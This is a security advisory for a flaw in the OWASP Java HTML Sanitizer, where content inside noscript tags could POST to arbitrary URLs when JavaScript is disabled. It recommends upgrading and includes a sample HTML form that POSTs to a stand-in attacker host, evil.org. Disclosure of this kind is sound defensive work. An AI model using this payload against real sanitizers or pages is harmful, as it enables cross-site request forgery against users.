# CVE-2011-4457

A vulnerability in the
[OWASP HTML Sanitizer](https://github.com/OWASP/java-html-sanitizer)

allows redirecting or POSTing to an arbitrary URL when the user
interacts with sanitized content and when JavaScript is disabled.

It also allows inclusion of links without
"[rel=nofollow](http://microformats.org/wiki/rel-nofollow)" when
JavaScript is disabled.

Crawlers that respect `nofollow` and which look for links inside
`<noscript>...</noscript>` could conclude a containing page has
link-spam.

Due to the constrained circumstances and the fact that it does not
allow exfiltration of data protected by the same-origin policy it is
considered low risk.  For policies that allow external links, the
escalation of privilege only includes POSTing, possibly including
upload of files chosen by the user.

We recommend upgrading to release 88 or later available
which does not break API compatibility with the previous release.

See the [project change log](../change_log.md) for more information.


## Details 

The attack hinges on the way `<noscript>` was parsed and rendered.

```Java
<noscript>
  <form method=POST action=http://evil.org/>
    <input name=x value=y>
    <input type=submit>
  </form>
</noscript>
```

will POST `x=y` to `http://evil.org/` when the submit button is
pressed and when the user has javascript turned off as when running
the NoScript extension.

The POST will carry user credentials so a vulnerable page can be used
to initiate XSRF against vulnerable servers.
